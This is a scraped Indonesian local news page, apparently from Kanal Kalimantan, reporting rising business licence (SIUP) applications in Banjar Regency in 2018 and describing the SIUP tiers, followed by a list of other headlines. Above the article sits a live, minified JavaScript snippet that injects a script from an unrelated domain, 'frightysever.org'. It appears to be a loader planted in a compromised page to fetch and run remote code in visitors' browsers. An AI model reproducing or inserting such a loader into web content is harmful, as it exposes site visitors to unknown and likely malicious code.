(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

Pengurusan SIUP Naik, Tren Positif Iklim Usaha 2018 di Kabupaten Banjar


MARTAPURA, Iklim usaha di Kabupaten Banjar menunjukan pertumbuhan positif. Setidaknya, hingga Agustus lalu sudah ada 232 pengurusan Surat Izin Usaha Perdagangan (SIUP) diajukan ke Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPMPTSP) Kabupaten Banjar.

Kepala Bidang Pelayanan Perizinan Jasa Usaha Harjunadi SE mengatakan, pertumbuhan usaha khususnya di Kabupaten Banjar menunjukan tren yang positif dan cenderung mengalami peningkatan, hal ini dibuktikan dengan banyaknya izin yang diurus masyarakat.

“Di kita (DPMPTSP) hingga Agustus sudah ada sebanyak 232 pengurusan SIUP yang dilakukan, itu membuktikan bahwa dunia usaha terus tumbuh dan berkembang di Kabupaten Banjar,” akunya.

Jika dilihat dari tahun 2017, ada 475 pengurusan SIUP yang telah dikeluarkan DPMPTSP Kabupaten Banjar, dan tidak menutup kemungkinan hingga akhir tahun 2018 permintaan perizinan SIUP akan terus bertambah.

Dijelaskan Harjunaidi, setiap perusahaan, koperasi, persekutuan maupun perusahaan perseorangan, yang melakukan kegiatan usaha perdagangan wajib memperoleh SIUP yang diterbitkan berdasarkan domisili perusahaan dan berlaku di seluruh wilayah Republik Indonesia.

“SIUP ini dibutuhkan oleh pelaku usaha perseorangan maupun pelaku usaha yang telah berbadan hokum, agar mendapatkan pengakuan dan pengesahan dari pihak pemerintah. Hal ini untuk menghindari masalah yang dapat mengganggu perkembangan usaha kemudian hari,” ujarnya.

Ditambahkannya bagi siapa saja yang mau membuat SIUP, bisa datang langsung ke DPMPTSP dengan membawa berkas yang sudah disyaratkan, walaupun pelayanan masih dengan cara manual. Namun ke depan dalam waktu dekat pihaknya akan mempermudah perizinan tersebut melalui system online.

“Sekarang bagi siapa saja yang mau berurusan untuk pembuatan SIUP kita masih layani secara manual, dalam beberapa waktu dekat ini kita akan melakukan permudahan pelayanan yaitu secara online,” papar Harjunadi.

Perlu diketahui SIUP itu sendiri terbagi menjadi 4 seperti SIUP mikro diberikan kepada perusahaan perdagangan mikro, dengan modal dan kekayaan bersih seluruhnya tidak lebih dari Rp 50 juta. SIUP kecil, wajib dimiliki perusahaan perdagangan dengan modal dan kekayaan bersih sebesar Rp 50 juta-Rp 500 Juta. SIUP menengah wajib dimiliki perusahaan perdagangan dengan modal dan kekayaan Rp 500 juta-Rp 10 miliar. SIUP besar wajib dimiliki perusahaan perdagangan dengan modal dan kekayaan bersih Rp 10 miliar, tidak termasuk tanah dan bangunan tempat usaha. (rendy)

Reporter : Rendy
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

KPK Dalami Hubungan Jabatan Kepala KPP Madya Banjarmasin di 12 Perusahaan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) sedang mendalami hubungan antara jabatan direksi yang dimiliki… Read More

7 jam ago

Gubernur Muhidin Ingatkan Dana Transfer Pusat Dimanfaatkan Optimal

KANALKALIMANTAN.COM, BANJARMASIN – Gubernur Kalimantan Selatan (Kalsel) H Muhidin meminta langkah strategis untuk memastikan dana… Read More

8 jam ago

Upaya Mencegah Perkawinan Usia Anak di Balangan

KANALKALIMANTAN.COM, PARINGIN - Upaya mencegah perkawinan usia anak, Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk,… Read More

9 jam ago

Wabup Dodo: Hasil Reses DPRD Jadi Acuan Kebijakan

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati (Wabup) Kapuas Dodo menegaskan berbagai aspirasi maupun usulan yang… Read More

9 jam ago

Upayakan Penanganan Banjir di Banua, Pemprov Kalsel Gelar Rakor

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan terus memperkuat peran strategis dalam upaya penanganan banjir… Read More

22 jam ago

DPRD Kapuas Sampaikan Hasil Reses dalam Rapat Paripurna

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menyampaikan laporan hasil reses… Read More

23 jam ago

This website uses cookies.